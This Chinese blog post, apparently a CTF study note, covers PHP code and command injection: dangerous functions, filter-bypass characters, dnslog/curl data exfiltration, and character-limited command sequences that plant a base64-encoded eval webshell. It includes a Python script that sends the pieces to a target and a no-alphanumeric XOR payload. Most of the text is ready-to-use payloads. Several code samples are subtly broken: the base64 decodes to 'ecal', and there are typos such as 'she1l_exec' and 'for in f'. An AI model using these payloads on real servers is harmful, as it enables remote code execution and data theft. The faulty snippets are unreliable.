玩命加载中 . . .

命令执行


代码/命令执行

1.概念:

代码执行:控制PHP的代码,就是代码执行

命令执行:控制服务器含有的命令,即没有做过滤类似于system() eval() exec() 等函数

2.代码注入

  • eval()传入的是一个完整的语句(把任何字符串当作代码执行)
#eval()函数实现命令执行
<?php
highlight_file(__FILE__);
$a = 'phpinfo();' ;
eval($a) ;
?>
  • assert()(不常用)
#assert()函数实现命令执行
<?php
error_reporting(E_ALL) ;
highlight_file(__FILE__) ;
#$a ='echo 12345;';
#assert($a);
$a='eval("echo 'pwd';")';
assert($a);
echo 123;
?>
  • mixed call_user_func(callable $callback [, mixed $parameter [,mixed $... ]] )
    • 第一个参数$callback就是被调用的函数,第二个参数是给第一个参数的,作为第一个函数的参数。
    • 可以调用任何内置函数或用户自定义的函数
    • 除了:array() echo() empty() eval() isset() list() print() 和 unset() 等语言结构函数
#call_user_func函数
<?php
highlight_file(__FILE__);
$a = 'system' ;
$b = 'pwd' ;
call_user_func($a,$b);
call_user_func('assert','phpinfo()');
?>
  • mixed call_user_func_array(callback $callback,array $param_arr)
    • callback 是被调用的函数,param_arr要被传入回调函数的数组
<?php
highlight_file(__FILE__);
$a = 'assert';
$b = array('phpinfo()');
call_user_func_array($a,$b);
?>
  • string create_function(string $args,string $code)
    • 该函数会创建一个匿名函数
    • args 是要创建的匿名函数的参数,code是该匿名函数内的代码
<?php
highlight_file(__FILE__) ;
$a = create_function('$code','echo $code;');
$b = 'hello';
$a($b);  //执行该函数
$a ='phpinfo();';
$b = create_function('',$a);
$b();    //执行该函数
?>
  • preg_replace( mixed $pattern, mixed $replacement,mixed $subject [,int $limit=-1 [, int &$count]])
    • 执行一个正则表达式的搜索和替换
    • /e修正符使preg_replace将 replacement参数当做PHP代码 (在适当的逆向引用和替换完之后,匹配不完成不执行)
<?php
highlight_file(__FILE__) ;
$a = 'phpinfo()';
$b = preg_replace("/abc/e",$a,'abcd');
var_dump($b);
?>
  • array array_map (callable $callback,array $array1 [,array $... ] )
    • array_map为数组的每个元素应用回调函数
    • eval()不可传入,可使用assert()
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
?>
  • bool usort(array &$array, callable $value_compare_func)
    • usort 使用用户自定义的比较函数对数组中的值进行排序
    • 注意用get传入至少两个参数用来比较,且PHPinfo不能放在usort的第二个参数上,直接放在第一个参数上就行
<?php
highlight_file(__FILE__) ;
#usort($_GET);
usort($_GET[1],'assert');
?>
  • bool uasort(array $array,callable $value_compare_func)
    • uasort -使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
<?php
highlight_file(__FILE__);
$e = 'assert';
$arr = array($_REQUEST['pass'], 'test');
uasort($arr,$e);
?>
  • ${php代码}
  <?php
  highlight_file(__FILE__);
  ${phpinfo()};
  ?>

3.命令注入

  • string system(string command,int &return_var)

    可以用来执行系统命令并将相应的执行结果输出

<?php
highlight_file(__FILE__) ;
system('pwd');
system('whoami');
?>
  • string exec(string command, array &output, int &return_var)
    • 命令执行结果的最后一行内容。如果你需要获取未经处理的全部输出数据,请使用passthru()函数。
      如果想要获取命令的输出内容,请确保使用output参数。
    • command是要执行的命令
    • output是 获得执行命令输出的每一行 字符串
    • return_ var存放执行命令后的状态值
<?php
highlight_file(__FILE__) ;
var_dump(exec('ls')) ; 
exec ('ls',$b);
var_dump($b);
?>
  • void passthru(string command, int &return_var)
    • command是要执行的命令
    • return_var存放执行命令后的状态值
<?php
highlight_file(__FILE__);
passthru('ls');
?>
  • string shell_ exec (string command)
    • command 是要执行的命令
<?php
highlight_file(__FILE__);
var_dump(she1l_exec('ls'));
?>
  • `` 两个反引号
    • 与shell_exec功能相同,执行shell命令并返回输出的字符串
<?php
highlight_file(__FILE__);
$a='pwd';
echo `$a`;
?>
  • bool ob_start([callback $output_callback [,int $chunk_size [, bool $erase ]]])
    • ob_start 打 开输出控制缓冲
<?php
highlight_file(__FILE__) ;
$cmd ='system';
ob_start($cmd);
echo "$_GET[a]";
ob_end_flush() ;
?>

4.命令执行的绕过

  • php代码中包含system()命令,但是预定义了使用的函数,此时的绕过方法
<?php
highlight_file(__FILE__);
$rce ="echo";
system($rce.$_GET[1]);
?>
  • 绕过的符号
换行符  %0a
回车符  %0d
连续指令  ;(分号)
后台进程  &
管道符  |
(逻辑判断符号) ||  &&
  • 拼接方式绕过
a=l;b=s;$a$b  //拼接ls
  • base64 绕过
`echo d2hvYW1p|base64 -D`  //将whoami的base64解码后再用反引号(``)执行
  • substr string pos len
echo  "${PATH:0:1}"   //取PATH,从0位开始,取一位
echo  `expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1` //百度expr的用法,此处好像不怎么能用哈

5.命令执行的空格代替

  • <符号
  • $IFS 、${IFS} 、$IFS$9:$9 意思是第九个参数
  • %09 用于url传递

6.命令执行无回显的方法

  • 判断:

    • 延时
    • HTTP请求:dnslog
    • DNS 请求:dnslog(dnslog.cn) curl。。。。
  • 利用:

    • 写shell(直接写入/外部下载,需要联网)
    • http/dns等方式带出数据(通过构造curl xxxx.dnslog的域名,把数据带出)
    • 注意xxxx.dnslog 中不能有空格,所以用sed命令将空格替换 cat flag.php|sed s/[[:space:]]//

7.可控字符串长度受限下getshell

  • 使用 ls > 1进行命令执行测试

  • 15个字符:限制字符长度,可能没有限制命令执行次数

    • 在远程wget一个文件,然后再执行一次改名的命令 wget a.cn/1 mv 1 1.php
    • 直接写入getshell-php echo 1234 >>q.php,一次写不全就多追加几次(eval($_GET[1]);
<?php
highlight_ file(__FILE__) ;
if(strlen($_GET[1])<15){
    echo strlen($_GET[1]);
    echo shell_exec($_GET[1]);
}else{
exit('too long');
}
?>
  • 7个字符:限制字符长度,可能没有限制命令执行次数
    • 思路 ls>a会把ls的内容输入到a中
    • l>a:因为l不是命令,所以不会有内容,但是同样会生成a文件
    • 通过 l>a l>b等操作,生成一堆文件(文件名组合起来是一句话,一句话配合base64进行上传)配合 \进行命令拼接,命令拼接好放到一个中,用sh 执行文件,生成一句话或完成其他工作
    • ls -t会按照文件最新的时间进行排序显示(解决了文件名的顺序问题)
    • 再通过ls -t >a命令,将文件名组合一起,放入某php文件中(实现getshell)
echo PD9waHAgZWNhbCgkX0dFVFsxXSk7 | base64 -d >1.php


//PD9waHAgZWNhbCgkX0dFVFsxXSk7
w>hp                  //file.txt 文件
w>l.p\\
w>d\>\\               //此处容易出错,会显示有\n  回车
w>\ -\\
w>e64\\                //注意:eval($_GET[1]);   经过base64编码后为 ZXZhbCgkX0dFVFsxXSk7
w>bas\\                //在shell脚本中,\\的意思是命令换行分割,(可以与下一行的字符拼接到一块组成命令)
w>7\|\\
w>k\\
w>xXS\\
w>VFs\\
w>0dF\\
w>gkX\\
w>hbC\\
w>ZWN\\
w>HAg\\
w>9wa\\
w>PD\\
w>o\ \\             //此处有空格
w>ech\\
ls -t>0             //使用-t进行排序
sh 0
                    //这个脚本意思是把那句shell输出到 0 文件中,然后最后一句用sh执行0文件,生成一句话
# coding:utf-8
import requests
url1 = "http://xx.xx.xx.xx/index.php?1="
with open("file.txt","r") as f:
    for in f:
        url = url1+ i.strip()
        requests.get(url)
        #print "已经请求%S" % url
res = requests.get("http://xx.xx.xx.xx/1.php")
if res.status_code:
    print 'ok'
  • 5个字符,思路与7个字符的一样,只是 ls -t>f,不符合标准,所以,在输入上面的命令之前,先构造一个能执行 ls -t >f的shell(a),然后生成其他文件名,执行a(执行ls -t>0),生成最终的get-shell。完成。
    • 关键是拆分ls -t>f 命令
//相关PHP代码
<?php
$sandbox = '/www/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if(isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf'.$sandbox);
}
highlight_file(__FILE__);
?>
//5个字符:
>ls\\
ls>a           //由于文件名顺序的影响,先将"ls\"写入到a中
>\ \\
>-t\\
>\>f
ls>>a          //此处将“ ”、“-t\”、“>f”、“ls”追加到a中
sh a           //此shell即可实现 ls -t>v的功能


               //此时将7个字符的命令重新组合,然后生成文件名即可
               // echo PD9waHAgZWNhbCgkX0dFVFsxXSk7 | base64 -d >1.php
>php
>1.\\
>\>\\
>\ \\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\ \\
>\|\\
>\ \\
>k7\\
>XS\\
>sx\\
>VF\\
>dF\\
>X0\\
>gk\\
>bC\\
>Nh\\
>ZW\\
>Ag\\
>aH\\
>9w\\
>PD\\
>\ \\
>ho\\
>ec\\
...
               //文件名生成完成以后,使用sh a执行ls -t>f 语句,生成可“生成get-shell”的文件
sh a
sh f          //执行生成的f
  • 4个字符,思路类似于5个字符的,但是更难一点
    • 拆分 ls -th>f
    • 注意:* 命令会将当前目录下的文件作为命令和参数输入。 *v同理
      • 如果当前目录下有一个文件名为ls,则在命令行中输入 ***就会执行ls**命令(将文件名作为命令执行)
    • dir命令类似与ls,但显示时有些不同,输出内容之间带有空格
    • rev命令将文件内容倒序输
//4个字符:
>dir

        //此三句就是将 ls -th >f  拆分后倒过来写的,为了控制文件名顺序
>f\>
>ht-
>sl

        //注意:此时目录中的文件为  dir  f>  ht-  sl
*>v     //  * 的意思就是将这些文件名组合为一句命令并执行,就是执行“dir  f>  ht-  sl”
        //使用输入输出重定向将结果输出到v文件中。(结果是  “f>  ht-  sl”)

>rev

*v>a    //组合的语句是“rev v>a”  意思:倒序输出v中内容,写入到a中,就是“ls -th>f”,完成ls语句构造

        //此时将7个字符的命令重新组合,然后生成文件名即可
        // echo PD9waHAgZWNhbCgkX0dFVFsxXSk7 | base64 -d >1.php

>
>
>


...

        //文件名生成完成以后,使用sh a执行ls -th>f 语句,生成可“生成get-shell”的文件
sh f    //执行生成的f

8.无字母数字get-shell

  • 思想:生成字母——将非字母数字的字符通过各种变换,最终能构造出a-z中任意一个字符
    • 异或:0^1 = 1;1^1 = 0;0^0 = 0;任何值与0异或,返回的都是它本身的值,将不同字符进行异或,得到新ASCII码,可为字母。
    • 取反:使用SQL中宽字节的思路,中文会变成%xx%xx,此时可使用 ‘和’[1]输出这个字符串的第一个字符,ord(‘和’[1])转换为ASCII码,将该ASCII码取反,会得到一个新的ASCII码,该ASCII码可为字母。
    • 自增: i++
//题目
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("Long.");}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
@eval($code);
}else{
highlight_file(__FILE__);
//$hint = "php function getFlag() to get flag";
?>

获取字符异或的结果:

//获取字符异或的结果:
a="~!@#$%^&*()_+=-`{}[]|\/?.,<>;:"
for i in xrange(len(a)):
    for j in xrange(len(a)):
        if ( ord(a[i]) ^ ord(a[j]) )>64 and ( ord(a[i]) ^ ord(a[j]) )<91:
            print "%s xor %s = %d"%( a[i],a[j],ord(a[i]) ^ ord(a[j]))
        elif ( ord(a[i]) ^ ord(a[j]) )>96 and ( ord(a[i]) ^ ord(a[j]) )<122:
            print "%s xor %s = %d"%( a[i],a[j],ord(a[i]) ^ ord(a[j]))
//上题的解题关键,绕过过滤,传入getFlag()
//找到对应的字符
< xor [ = g  103
> xor [ = e  101
] xor ) = t  116
= xor { = F  70
@ xor , = l  108
^ xor ? = a  97
< xor [ = g  103
//所以getFlag可以表示为:
'<>]=@^<' ^ '[[){,?['
//但是此时函数缺少括号(),在php中,将字符串复制给变量,然后变量后面跟一个括号,就可以作为函数来执行
//此时传入的参数为:
$_='<>]=@^<' ^ '[[){,?[';$_()
//payload为:
code=$_='<>]=@^<'^'[[){,?[';$_();

文章作者: kylin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 kylin !
评论
  目录